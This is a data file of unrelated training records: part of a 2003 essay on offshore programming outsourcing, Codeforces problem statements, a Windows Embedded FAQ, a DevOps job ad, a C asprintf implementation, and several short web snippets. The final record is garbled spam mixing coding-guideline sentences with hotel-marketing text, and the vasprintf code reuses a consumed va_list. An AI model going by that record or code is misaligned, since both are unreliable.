powerhouse of an industry driven by mechanized engines of automation, skilled tradesman became increasingly irrelevant. Instead, cheap and easily exploited immigrants and children could be put to work en masse, with minimal skills or training, and replaced just as easily.\nOf course, this enabled the economic and social developments which made the world what it is today, but it also enabled business leaders to view their employees as cogs, which are a minor hassle to replace, but nonetheless easily replaceable by any other cog.\nUnfortunately, this mindset seems encoded into the genetic material of managers and executives everywhere. As programmers know, the reality is not so simple. Even assuming that programming is a single discipline, without specializations in networking or GUI or databases, the cold fact of the matter is that the best programmers are in some cases hundreds of times more productive than the worst programmers, and obviously the best programmers are much rarer than the worst.\nThe result of this reality is that comparing two programmers on the basis of their cost is utterly meaningless. What good is a programmer at 1/10th the price, with 1/100th the productivity?\nThat said, it is unfair to say that all offshore coders are less capable than all domestic coders; the point is, a programmer’s capabilities--as well as her cost--must be considered when determining value. This is a very difficult problem when hiring domestic programmers, and becomes virtually intractable with offshore coders.\nWithout some reliable metric (lines of code per dollar per day doesn’t cut it), the ROI of offshore coding cannot be reliably established. Relying on cost alone when making the decision is dangerously close to abdication of fiduciary responsibility, which is not a phrase executives like to hear.\nProjects as blueprints\nThe previous section’s discussion of the origins of the programmers-as-cogs mentality is equally applicable to the related fiction, projects-as-blueprints.\nIn an industrial setting, a project is typically the design and production of a product; some tangible, physical thing coming off the assembly line. Once a skilled engineer designs the product and produces blueprints or schematics, the unskilled cogs can set to work and produce the product.\nObviously, software is not so simple. Bad programmers can build worthless software from masterful designs, and good programmers can (sometimes) rescue abysmal designs through masterful programming. In either case, the skilled labor is distributed evenly across the product lifecycle, and is not concentrated on the design phase as is the case with manufactured goods. Further, the design and production teams are not decoupled; each must interact constantly with the other, to ensure the product being built and the product being designed are indeed the same product, and the best product it can be (and even that the product is what the customer actually wants).\nAs a result of this tightly linked lifecycle, it is difficult to find one point at which the skilled laborers are done, and the offshore cogs can take over and begin production. Therefore, the offshore coders must actually be an integral part of the product lifecycle, as skilled and competent as any other participant.\nHaving established this fact leads us to the next point:\nAssume for this discussion that all offshore coders are fluent speakers of the domestic language. Not only is this often the case, but a language barrier is the least of the communication problems associated with offshore outsourcing.\nGiven the realization from the previous section that offshore coders must be as much involved with a product as the designers, stakeholders, end users, and testers, it becomes clear that offshore coding does not mean requirements can be gathered, e-mailed across the globe, and expected to come back as a polished product.\nInstead, the same bothersome collaboration and feedback loops used by domestic development teams must extend to the offshore coders. This is complicated by the distance (as great as telecommuting is, when it comes to meeting to discuss development projects, there’s no substitute for being there), time difference, a lack of understanding of domain-specific factors, and the usual problems of wasteful, unproductive meetings, conflicting goals, poorly-defined objectives and stakeholders, shifting requirements, etc.\nThese problems are significantly amplified when agile methods such as eXtreme Programming are employed to develop in so-called \"real time\". One of XP’s principles is that the design forms from the code, and that frequent deliverables yield iterative user feedback which leads to an ad-hoc discovery of requirements, and management of requirements changes. Therefore, \"real time\" communication between all participants in the development process is critical; when communication breaks down, risk increases and the probability of success plummets.\nThus, those considering offshore coding must realize the following caveats with regard to communications:\nFirst, the only cost savings will be the cost of the programmers, testers, etc. that are moved offshore. Project managers, internal QA staff, support and maintenance personnel, and project stakeholders stay in-country, and stay involved.\nSecond, collaborative barriers actually increase management overhead, likely adding to the time required by stakeholders, end users, and often highly-paid internal architects and designers. This must be subtracted from the cost savings.\nThird, offshore coding does not eliminate the most intractable elements of software development, including the project management principles that are routinely ignored in domestic development projects. Indeed, when it comes to shifting requirements, the collaborative barriers and de-coupling of developers from the rest of the lifecycle associated with offshore coding actually increases cost and hassle.\nSupport and maintenance\nIf programmers did their jobs perfectly, users’ requirements were immutable, and competitive pressures didn’t exist, changes to software would be unnecessary. Sadly, programmers fail, users are fickle, and competition is fierce, therefore software must not only be maintainable, but downright agile.\nIn addition to the development-time agility problems described above, support, maintenance, and agility after initial development is concluded, are equally important to the long term success (and therefore justification) of any development project. When software is developed in-house by domestic programmers, even if little documentation is developed, it is reasonable to expect the original developers or their successors will be available to support and maintain the product, and modify it in more significant ways as business requirements change.\nWith outsourced development (offshore or domestic), however, the client is much more insulated from the original developers. In all likelihood, ongoing maintenance and support will require an ongoing contract with the offshore coders, with enhancements likely requiring additional funds. Even in the face of such contracts, the original developers may or may not be available, and if not, their replacements must consume valuable (and expensive) time ramping up to make the changes. Further, the attendant communication problems described above are associated with this effort as well, particularly with major enhancement efforts.\nFor the reasons described in the previous section, it is likely that once the offshore coding decision is made, it \"stays made\", as moving back in house from offshore will be more expensive than staying in house in the first place.\nDue to the structure of the outsourced development effort, the client’s choices end up quite limited. Since the client is decoupled from the individual developers on the project, the client’s view of the offshore coders is an aggregate one; thus, they are either all competent and capable, or not. Thus, a client’s options are to stay with the offshore coding company, or not. By contrast, an internal development team is slightly more transparent, with incompetent individuals more likely to be discovered and replaced, without replacing the entire team and starting over.\nThus, corporations considering outsourcing must realize that if things go sour or don’t turn out, it will be difficult to back out.\nWhen an application is built in-house, it makes sense to perform a code audit for a number of practical reasons, of which one is to ensure the system is secure against accidental security bugs and deliberate back-doors. Unfortunately, this valuable feedback/QA technique is often skipped, for various and irrelevant reasons.\nWhen offshore coders have been employed, code audits become not only a good idea, but mandatory. While a domestic employee might undergo a background check, or face criminal penalties for deliberate subversion of software, offshore coders are usually not vetted for background anomalies, and certainly are not subject to domestic civil and criminal law. Further, the fact that offshore coders work for less money suggests that unscrupulous offshore coders can be compromised for less money.\nAs a result, a responsible project manager should not accept code from an offshore firm without a comprehensive code audit. Of course, the code audit must be performed by a competent programmer specializing in security audits, which adds substantial cost, and substantial time to the development lifecycle. By contrast, a domestic development team could be used to perform its own code audit, which, combined with background checks and the pain of civil and criminal penalties, mitigates security risks for far less time and money.\nWhat’s left of the bottom line\nIf, upon consideration of all of the above issues, quantitatively as well as qualitatively, the bottom line of the offshore coding spreadsheet is still black, it likely makes good sense to engage offshore coders in some capacity.\nThe key point to take from this section is this: the question to ask is not \"is offshore coding wrong or bad?\", but rather, \"will offshore coding make my shareholders richer?\". However, from the length of the previous section, and the extent of the caveats, it should be clear that performing a rigorous analysis is complex and time-consuming, and the answer may very well be \"stay in house\".\nWhat not to do about it\nIn this section, several proposals are evaluated which have been floated by those who are in some way against offshore coding either as a trend or a practice. For each proposal, one or more reasons are provided explaining why it is a bad idea and should be ignored.\nUnionize domestic programmers\nFor a number of years, some domestic programmers have been calling for unionization, or at least the formation of some sort of trade group providing advocacy on behalf of domestic programmers. Ostensibly, the objective of such groups would be to protect domestic programmers from exploitative corporations, corrupt governments, and job-stealing foreign programmers.\nThe fundamental flaw with this reasoning is the implied belief that domestic programmers need protection. In effect, those who advocate unionization or trade group organizations are accepting the \"programmers as cogs\" principle, and then asserting that domestic cogs are special and should receive contractually obligated rights and privileges.\nIn reality, a programmer’s union is absurd (and would no doubt fail when a majority of programmers refuse to join). A trade group makes sense (indeed the ACM and the IEEE could be counted as trade groups), but rather than advocating protectionist policies, a useful trade group ought to focus on helping its members differentiate themselves in a free market with training, certifications, and other (somewhat) useful benefits. Both the IEEE and ACM provide these benefits in some form.\nAdopt protectionist policies\nFailing a domestic programmer’s union, the disenchanted programmer labor movement often calls for various forms of protectionist policies. From the almost practical (though utterly indefensible) tax penalties for use of offshore coders, to the utterly absurd classification of offshore coding or the code it produces as an import subject to tariffs and taxes, the idea is to distort the free market calculus that makes offshore coding cost effective, until offshore coding becomes utterly unjustifiable from a financial perspective.\nApart from the argument above, which establishes the economic benefits of any net gain in efficiency--offshore coding included--a more fundamental argument against this policy exists: distortion of market forces towards a particular aim almost inevitably leads to a net economic loss. A recent example here in the US is President Bush’s protectionist steel tariffs, which did little to protect domestic steel producers from foreign competition, and seriously injured those domestic manufacturers who depend upon steel to produce their products, which became absurdly expensive in the face of the rapacious protectionist tariffs.\nEffectively, advocacy of protectionist policies is attempting to cure the symptom, not the affliction. If profit-motivated corporations are moving programmer jobs offshore, and domestic programmers don’t like it, they are better served focusing on competing fairly with their offshore counterparts (perhaps not on cost, but on overall value, which as stated above is what really matters), and articulating their advantages over offshore coders.\nWhat to do about it\nWhile the previous section dealt with bad solutions to the offshore coding \"problem\", this section outlines some strategies that make sense, are practical, and don’t involve punitive market distortion.\nThe most fundamental strategy in dealing with the offshore coding trend is to adopt a productive attitude. Those who feel as though corporations moving jobs offshore are somehow wronging their employees, or that governments allowing offshore coding to continue are betraying their obligations to their citizens, utterly miss the point.\nOne must realize that as an actor in a free market economy, market forces determine one’s success or failure as surely as they do a large corporation. That is, each individual must realize that she is in competition with other individuals pursuing the same opportunity, and upon that realization, do what is necessary to distinguish herself from the competition.\nMany programmers in particular find this distasteful; indeed, they became programmers because the business stuff was of no interest to them. Unfortunately, there is no choice; actors in a free market must take responsibility for their own success or failure, or face financial ruin. This point bears repeating: Fundamentally, each individual must take personal responsibility for his or her own success, and do what is necessary to ensure it.\nIn the Economic Perspective section, a discussion of the pros and cons of offshore coding is outlined. The industrious reader will likely see numerous opportunities to differentiate himself from offshore coders, in such a way as can be clearly articulated to management. This type of thinking is mandatory in a free market system; one must look for opportunities, and seize them when they arise.\nOf course, some executives and managers may be unconvinced by a particular value proposition. They may be reading breathless articles in trendy business magazines about how their colleagues are saving millions by outsourcing everything except janitorial services to India. However, if they fail to consider all of the caveats above, and fail to recognize a superior value proposition, they likely will be rewarded accordingly. In particular, their competitors may not be so blinded, and may represent another opportunity for the industrious and differentiated programmer.\nArguably, education is a form of differentiation, but I feel it nonetheless warrants explicit mention.\nEducation can take many forms: college, certification classes, or self-edification projects undertaken to learn a new technology or product. In any case, the underlying theme is the constant learning and development of new knowledge and skills.\nThe industrious engineer will realize that education must be on-going, regardless of economic climate. This mindset of individual responsibility is extremely important for those who wish to run ahead of the pack. By constantly growing and developing, your value is increased, as are your horizons broadened, and perspectives expanded. When considering education, you needn't limit yourself to technology, but rather you should focus on that which is interesting or exciting, be it a book on C#, a security certification, or a master's degree in economics.\nAdvocate pro-business policies\nA number of factors determine an employee’s cost to an employer, only one of which is salary. Factors like social security, unemployment and worker’s compensation insurance, various OSHA and Department of Labor requirements, and state and local regulations all burden US employers. Other developed countries impose similar burdens. Cost of benefits, like soaring health insurance costs, only add to the load.\nFurther, while developed countries for the most part have clearly defined commercial laws, the patent, trademark, and copyright laws in the US and much of Europe are largely broken from a technology perspective, leading to unnecessary and expensive use of patent attorneys in defensive patenting strategies, and attacking and defending absurd patents as a means of competitive pressure.\nFinally, as much as anti-globalization and socialist activists claim the industrialized world governments are bought and paid for by sinister mega-corporations, the reality is that government has always had a love-hate relationship with business. From the draconian and incoherent US Securities and Exchange Commission, to the rapacious taxes foisted on domestic corporations to punish them for their success, businesses are often treated as second-class citizens by national and local governments that fail to recognize the source of their own economic prosperity.\nAll of these factors together must be considered when a corporation is evaluating its costs of doing business in a particular country. If citizens of the US or Europe are displeased that this business calculus points to India as a better host, a wise recourse would be to focus on making the US and Europe more appealing, rather than flogging the evil corporations until they once again prefer their domestic tormentors to India or China.\nRoll your own opportunity\nA fellow free-marketeer, John Cardinal, reminded me of what is perhaps the most compelling \"niche\" of all: founding and developing your own company. I have done this with Cryptos Mobile Systems, my current company, as have countless other programmers and engineers before me.\nThe advantages of this approach are several, including:\n- Complete control over business and technology; the only stupid fads you suffer are those you embrace yourself\n- Potential for substantial wealth; as a founder, you will typically hold a substantial equity stake, and stand to benefit financially if your company is successful\n- Relative autonomy in terms of work style, hours, etc., although a startup typically requires absurd amounts of work\n- The profound personal satisfaction of controlling one's own destiny, for better or for worse\n- Appealing tax perks, like righting off equipment, education, business travel, etc.\nOf course, this is also perhaps the most dangerous of all solutions, as job security is virtually non-existent, and you will often not know where the next month's mortgage payment will come from (if at all). Start-ups also require an absurd amount of work, coupled with constant stress, and disturbing uncertainties. To be sure, many readers will not have this option at all, for reasons of financial position, familial obligations, etc. For those who can, however, starting one's own company must be considered.\nAnother option for those of you readers who have been recently laid off, and have a few months' savings before they have to work again, might be to form your own company, to pursue an idea for a product or technology, or simply to learn about some new technologies or products. With the help of an accountant, buy whatever technology items you need through your business, including education or certification if necessary. While shopping around for your next job, continue to work on your company's project, learning and growing all the while. You might also consider drumming up short-term contract work, run through your company.\nNot only does this approach allow you the freedom to develop new skills while between jobs, but it exposes you to the adventurous life of an entrepreneur, without all the attendant risks. Further, should your quest for work drag on, your resume will nonetheless quite honestly reflect contiguous employment, under the banner of your company. This is also a great way to develop professional experience in a technology or product which you haven't otherwise had the opportunity to apply.\nRegardless of the approach you take, you are well-advised to at least consider the entrepreneurial route. It is a road fraught with peril, but the potential rewards (financial and otherwise) are substantial.\nFind the niches\nTaking into consideration the offshore coding caveats above, the industrious reader will realize that offshore coding is completely impractical for a number of scenarios, a few of which are examined below. By focusing on these niche areas, a domestic programmer may find areas where offshore coding does not offer a compelling value proposition.\nSmall, lightweight projects\nThe more structured and process-heavy a project, the easier it is to treat individual actors as cogs. It should come as no surprise, then, that offshore coding firms are often very adept at software development process, such as CMM. As any veteran of a top-heavy process knows, heavy process is completely inappropriate for small development teams, as the overhead is not commensurate with any positive gains.\nIndeed, small teams often benefit from more ad-hoc, \"real time\" processes and quasi-processes such as XP and other agile methods. Being as they are more organic and fluid, attempting to use these processes while outsourcing development to offshore coders is very likely to end in an amusing yet spectacular failure.\nTherefore, domestic programmers may focus more on small development teams, which are often encountered within startups, or small business units within larger organizations.\nFor many of the same reasons specified in the previous section, early-stage startups are usually not good candidates for offshore coding. Seldom does one read about a 12-man startup announcing it has outsourced 50% of its three-person development staff to Bangalore. Remember, offshore coding becomes appealing as one reaches a certain economy of scale, which is well above three programmers. By focusing one’s energies on startup opportunities, offshore coding is less likely to pose a threat to one’s ambitions.\nFor US programmers, the US government has an extensive need for programmers with US citizenship (visas, greencards, etc. are not enough) and security clearances. Other developed countries have similar programs. While obtaining a clearance is a difficult and time-consuming process, the result is strong job security, not only as a government contractor, but also later in the private sector. As security becomes more of an issue, the dubious security of offshore coding will make trustworthy domestic programmers all the more valuable.\nWhile some programmers will consider this option schismatic, the sad reality is that programmers will always be subordinate to management, even if those programmers are offshore. Indeed, offshore coding requires more in-house management, not less.\nFocusing on developing one’s management credentials, as well as maintaining one’s tech skills, will add value in any market. Focusing on management of a distributed workforce will render one even more qualified to manage offshore coders.\nDue to the gap between offshore coders with general programming knowledge, and the displaced in-house programmers with extensive domain-specific knowledge, so-called business analysts are required for any successful offshore coding engagement. Along with architects, business analysts help define the project, which is then executed by the offshore coders (at least in theory). While outsourcing programmers may make sense, outsourcing strategy almost never does, therefore internal employees with a solid grasp of the domestic corporation’s business, goals, problems, and strategies and possessing the technical skills required to bridge the gap with offshore coders, are likely to remain extremely valuable.\nIf the prospect of \"becoming a business guy\" just so one can remain employed is distasteful, a wait-and-see approach may not necessarily be cataclysmic.\nWhile Indians may work for 1/4th what Americans or Europeans make, they make about the same in terms of quality of life and percentage of average per-capita income. That is, Indian programmers making US$ 20,000/year aren’t struggling in poverty as one making US$ 20,000 in America would be; rather, US$ 20,000 buys a great deal more in India, primarily because India is an emerging economy.\nHowever, as the doomsayer’s predictions of millions of IT jobs moving overseas come true, the Indian economy will grow and strengthen, such that US$ 20,000/year won’t be enough anymore. Indeed, already India is facing a shortage of programmers, and China’s burgeoning middle class is becoming increasingly restive and ambitious.\nAssuming the US and European economies stagnate, as India and China grow and prosper, the business case for offshore coding will weaken. How long this will take, or how much India or China have to grow before this happens, is not clear. However, given all of the caveats of offshore outsourcing, the net savings is not likely to be close to 75%, which means that as the cost of Indian programmers increases from 1/4th a US programmer to 1/2 or 3/4ths a US programmer, the net cost of offshore outsourcing is likely to become sufficiently high as to negate any potential savings in labor costs.\nOf course, if the US and European economies do not stagnate, one ought not worry, as an industrious individual should be able to find rewarding work in a growing economy, regardless of offshore outsourcing pressures.\nThis article has made some potentially inflammatory but ultimately defensible assertions.\nFirst, outsourcing work to offshore workers who are cheaper and equally capable as domestic workers makes good financial sense, and is not inherently immoral.\nSecond, corporations owe no duty of loyalty or employment to their employees, and can (indeed, should) seek the most efficient and effective way to perform a given task, regardless of physical location.\nThird, offshore outsourcing of programming jobs is potentially perilous domestic companies' bottom lines, and must be considered in terms of total qualitative and quantitative cost, not simply the US$ 20,000/year the Indian programmer makes.\nFourth, an industrious domestic programmer concerned about competition from offshore coders must resist the temptation to sulk and blame others, and should instead endeavor to differentiate himself such that offshore coders cannot compete with him.\nHopefully, the reader is at least enraged, or at best inspired to action, as a result of reading this article. Those who wish to deny the realities of free market economics may return their heads to the sand, but they do so at their own peril.\n- September 30, 2003 - Initial publication\n- October 26, 2003 - Updated to reflect more accurate Indian salary numbers (thanks Nishant S.), and to discuss the advantages and disadvantages of forming one's own company to avoid the outsourcing axe (thanks John Cardinal)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Karen just got home from the supermarket, and is getting ready to go to sleep.\n\nAfter taking a shower and changing into her pajamas, she looked at her shelf and saw an album. Curious, she opened it and saw a trading card collection.\n\nShe recalled that she used to play with those cards as a child, and, although she is now grown-up, she still wonders a few things about it.\n\nEach card has three characteristics: strength, defense and speed. The values of all characteristics of all cards are positive integers. The maximum possible strength any card can have is p, the maximum possible defense is q and the maximum possible speed is r.\n\nThere are n cards in her collection. The i-th card has a strength ai, defense bi and speed ci, respectively.\n\nA card beats another card if at least two of its characteristics are strictly greater than the corresponding characteristics of the other card.\n\nShe now wonders how many different cards can beat all the cards in her collection. Two cards are considered different if at least one of their characteristics have different values.", "source": "cpt_codeforces", "language": "en", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Windows Embedded Family Product Support Lifecycle FAQ\n1. How is this offering different from the Windows Embedded extended hotfix program that was announced in March 2002?\nMicrosoft believes that the new comprehensive Support Lifecycle policy for all Windows products provides even more benefits to Windows Embedded customers. Specifically, the Microsoft Lifecycle policy update of June 1, 2004, provides support for a minimum of 10 years after a product’s general availability date. Companies can now request no-charge hotfixes and receive traditional support for the first 5 years (as compared to 4 years in the prior program). After the mainstream support period, companies can receive traditional paid support and security update support for a minimum of 5 years of extended support. This is a total combined time of 10 years. Customers who want to request hotfixes that are not security-related must sign up for an extended hotfix support agreement within 90 days of the end of mainstream support for a product.\n2. Can I install and ship on my devices a hotfix that was requested during the extended support period?\nYes. All embedded hotfixes are considered distributable and are available to be shipped on embedded devices.\nNote that there is an associated fee for hotfixes that are not security-related but that are requested and provided during the extended support period.\n3. Is any support available after the extended support period?\nMany free and non-Microsoft support options are available for Windows Embedded products. Specifically, these options includeWindows CE Shared Source, Windows Embedded newsgroups, online chats with Windows Embedded experts, and services that are provided by Windows Embedded partners. These options will continue for a product after the extended period has expired.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We are Liquibase\nLiquibase is the leader in the database release automation segment of the more broadly defined DevOps market. Our vision is to be the easiest, safest, and most powerful community-led database change management solution. Downloaded more than 45 million times, our software enables DevOps teams around the globe to accelerate the software delivery process by automating database updates. As companies of all sizes continue to adopt an agile methodology and DevOps practices, there is a growing realization that the database needs to be considered as part of this innovation process.\nA career at Liquibase means joining a quickly growing company on the front lines of the DevOps space. You can expect to revel in growth across the board — in the number of customers we support, in the experiments we run, in the scope and complexity of our technical projects, and the list goes on.\nAt Liquibase, we foster a culture rooted in the open-source values of freedom, choice, transparency, and meritocracy. These are not just fashion labels here, but sincere convictions, and you’ll see that reflected in the way we operate daily. We’re caffeinated, collaborative & confident experts, eager to solve the most challenging database CI/CD problems for our customers.\nWant to help the software world move faster? You’ve found the right place.\nWhat you’ll do:\n- Support our SaaS products\n- Responsible for the CICD build & deployment of SaaS applications to multiple Amazon AWS accounts\n- Improve health & threat detection monitoring for hosted applications\n- Improve Monitoring and Logging of our SaaS applications\n- Follow security best practices\n- Help us continue to improve our development and test automation\n- Docker-ize applications and databases.\n- Build CICD Pipelines in Jenkins and Github Actions\n- Migrate manual systems to automated systems using tools like Packer, Ansible, and Terraform.\n- Bring in systems and tools that enable our teams to work better\nWhat we’re looking for:\n- Foundational, real-world work experience with DevOps and SaaS Site Reliability. You don’t have to be an expert, but you should be confident in your ability to solve DevOps and systems related problems.\n- One or more years of experience with the following tools/systems:\n- AWS, specifically Elastic Beanstalk, ECS, and EKS\n- Monitoring Platforms such as New Relic and DataDog\n- Logging Platforms such as Sumo Logic, Splunk, and ELK Stack\n- Building CICD Pipelines using tools such as Github Actions and Jenkins\n- Scripting (bash, groovy, python)\n- Linux and Windows\n- Relational databases (Postgres, MySQL, Oracle, SQL Server, etc.)\n- Jira and Confluence\n- A strong understanding of Security and Best Practices in both SaaS and on-prem applications.\n- A desire to document well\n- A Bachelor’s degree or relevant work experience is required.\n- AWS Certifications are a plus.\nPerks of Life at Liquibase:\n- A transparent and collaborative team environment. We value multiple perspectives and fresh thinking\n- Our entrepreneurial culture provides every employee the opportunity to make a meaningful impact\n- You get to work on new technologies and learn from experienced engineers\n- You gain insight into how some of the world’s largest brands manage software teams and releases\n- Growth opportunities and ability to move up within company\n- Everyone is a shareholder in the company\n- Flexibility of remote work\n- Generous company paid stipend towards benefits\n- Flexible Time Off and Paid Holidays\n- No punks, No jerks", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 740, "token_count_with_eod": 741, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given n segments on the Ox-axis. You can drive a nail in any integer point on the Ox-axis line nail so, that all segments containing this point, are considered nailed down. If the nail passes through endpoint of some segment, this segment is considered to be nailed too. What is the smallest number of nails needed to nail all the segments down?", "source": "cpt_codeforces", "language": "en", "token_count": 73, "token_count_with_eod": 74, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\nCopyright (C) 2014 insane coder (http://insanecoding.blogspot.com/, http://asprintf.insanecoding.org/)\n\nPermission to use, copy, modify, and distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*/\n\n#include \"asprintf.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <limits.h>\n\nint asprintf(char **strp, const char *fmt, ...)\n{\n  int r;\n  va_list ap;\n  va_start(ap, fmt);\n  r = vasprintf(strp, fmt, ap);\n  va_end(ap);\n  return(r);\n}\n\nint vasprintf(char **strp, const char *fmt, va_list ap)\n{\n  int r = -1, size = _vscprintf(fmt, ap);\n  if ((size >= 0) && (size < INT_MAX))\n  {\n    *strp = (char *)malloc(size+1); //+1 for null\n    if (*strp)\n    {\n      r = vsnprintf(*strp, size+1, fmt, ap);  //+1 for null\n      if (r == -1) { insane_free(*strp); }\n    }\n  }\n  else { *strp = 0; }\n  return(r);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Joe Celko's Trees And Hierarchies In Sql For Smarties (the Morgan Kaufmann Series In Data Management Systems)\nby Joe Celko /\n2004 / English / PDF\n4.8 MB Download\nJoe Celko's Trees and Hierarchies in SQL is an intermediate to advanced-level practitioner's guide to mastering the two most challenging aspects of developing database applications in SQL. In this book, Celko illustrates several major approaches to representing trees and hierarchies and related topics that should be of interest to the working database programmer.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The mobile application store has a new game called \"Subway Roller\".\n\nThe protagonist of the game Philip is located in one end of the tunnel and wants to get out of the other one. The tunnel is a rectangular field consisting of three rows and n columns. At the beginning of the game the hero is in some cell of the leftmost column. Some number of trains rides towards the hero. Each train consists of two or more neighbouring cells in some row of the field.\n\nAll trains are moving from right to left at a speed of two cells per second, and the hero runs from left to right at the speed of one cell per second. For simplicity, the game is implemented so that the hero and the trains move in turns. First, the hero moves one cell to the right, then one square up or down, or stays idle. Then all the trains move twice simultaneously one cell to the left. Thus, in one move, Philip definitely makes a move to the right and can move up or down. If at any point, Philip is in the same cell with a train, he loses. If the train reaches the left column, it continues to move as before, leaving the tunnel.\n\nYour task is to answer the question whether there is a sequence of movements of Philip, such that he would be able to get to the rightmost column.", "source": "cpt_codeforces", "language": "en", "token_count": 274, "token_count_with_eod": 275, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You like numbers, don't you? Nastia has a lot of numbers and she wants to share them with you! Isn't it amazing?\n\nLet $$$a_i$$$ be how many numbers $$$i$$$ ($$$1 \\le i \\le k$$$) you have.\n\nAn $$$n \\times n$$$ matrix is called beautiful if it contains all the numbers you have, and for each $$$2 \\times 2$$$ submatrix of the original matrix is satisfied:\n\n1. The number of occupied cells doesn't exceed $$$3$$$;\n2. The numbers on each diagonal are distinct.\n\nMake a beautiful matrix of minimum size.", "source": "cpt_codeforces", "language": "en", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Free Peer Connect Summit\nExpert days with analysts\nAdditional practical resources that add to Gartner research and analyst discussions\nProviding visibility into what their peers are doing\nPeer document sharing\nTop status in the IT industry\nFresh insights, different perspectives, new ideas\nYou can get maximum value from Peer Connect by browsing the forums; no participation required to get the most for your investment\nLeverage discussions before asking questions, and search for related discussions to join and contribute to help also help others.\nAsking good questions will help get good answers.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm quite new to TT after moving over from Artisteer. I'm trying to recreate one of my artisteer templates but I appear to be struggling somewhat due to a lack of features. What I need to be able to do is to edit a table after I've created it in case I want to add/remove rows, borders etc. I also need the ability to be able to edit the html within a column.\nI'm hoping that this is possible otherwise without these features this software is pretty much useless to me and I've just spent a lot of money on incomplete software I can't use.\nThe only option I can see if I can't edit the table is to have to edit the css AFTER the project is finished which, to be honest, will be a massive pain in the arse for me!\nHopefully someone can point me in the right direction - thanks guys!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ImageBoss does compression on the fly.\nWebP & AVIF\nWhen using this option, ImageBoss analyzes if the user's device supports WebP or AVIF and delivers the image with smallest image format to your user.\nWebP/AVIF formats can reduce file size up to 60%.\nNo need to do anything. By default all images are compressed and cached to ensure optimal user experience to all ImageBoss users. Expect different levels of compression depending of the image format.\nDisabling Compressiontrue, false (defaults to true).\nhttps://img.imageboss.me /mywebsite /width /500 /examples/01.jpg\nSend us a message to support[at]imageboss.me if you have any doubts.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Having said that, if failing to help make a link is considered an error, then a failure ought to toss an exception.\nA operate specifies an action or simply a computation that usually takes the program from one steady point out to the subsequent. It is actually the fundamental constructing block of plans.\nHowever due to the economic downturn the area bookings as well as the gatherings have lessened immensely. Hence to overcome the result on the recession as well as the competition, resort’s advertising Division has think of the marketing approach.\nImportantly, the rules guidance gradual adoption: It is often infeasible to fully convert a large code foundation abruptly.\nJust before choosing that you cannot pay for or don’t like exception-centered error dealing with, Possess a look at the possibilities;\nWhen the internet marketing plan has taken The form which is executed, the article completion critique in the job is finished. The evaluate is done on The premise of your time and cost.\n-- getCharge is in Movie. It employs a switch according to the movie's class while in the cost calculation. If a fresh group is added the switch will require up-to-date.\nWe've been uncomfortable with policies that simply informative post just state “don’t do that!” without having presenting another.\nThe associated fee involved is minimal because the mails are sent by e-mails. The direct mailing to the prevailing and potential prospects are going to be cost effective way of promoting.\nPassing an uninitialized variable for a reference to non-const argument is often assumed to generally be a write into the variable.\nan arbitrary variety of unnamed and named parameters, and obtain them via an in-put listing of arguments *args and\n(McIvor, R. & Humphreys, P& Mc Aleer, W. (1997). A different lawful challenge could be the termination of deal, in this article the two the get-togethers indication an settlement or maybe a contract which mentions that in case the lodge will not just like the do the job or even the function ethics of the provider, they have ideal to terminate the expert services and would pay back just for the authorised operate by them. (Mulgan Richard 1997). One of several lawful issues is definitely the possession legal rights; below the proprietor that's the supplier is supplied the appropriate to generate some modifications eventually solution and likewise to possess the item, on the other hand, all the main use legal rights is Using the resort. The supplier keeps the tights to use the function to show case in his portfolio.\nTo avoid slicing, as the normal duplicate functions will duplicate just the foundation percentage of a derived object.\nIn this kind of instances, localize the use of necessary extensions and Handle their my site use with non-Main Coding Pointers. If at all possible, Make interfaces that encapsulate the extensions so they may be turned off or compiled absent on devices that don't assist People extensions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 596, "token_count_with_eod": 597, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
